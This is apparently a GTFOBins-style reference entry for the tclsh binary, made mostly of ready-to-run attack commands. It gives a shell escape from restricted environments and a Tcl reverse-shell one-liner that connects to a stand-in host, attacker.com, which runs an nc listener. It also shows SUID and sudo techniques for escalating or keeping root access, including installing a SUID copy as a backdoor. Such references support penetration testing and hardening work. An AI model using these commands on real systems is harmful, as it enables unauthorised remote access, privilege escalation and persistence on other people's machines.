It can be used to break out from restricted environments by spawning an interactive system shell.
tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
It can send back a non-interactive reverse shell to a listening attacker to open a remote network access.
Run nc -l -p 12345
on the attacker box to receive the shell.
export RHOST=attacker.com
export RPORT=12345
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems like Debian (<= Stretch) that allow the default sh
shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which tclsh) .
./tclsh
exec /bin/sh -p <@stdin >@stdout 2>@stderr
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr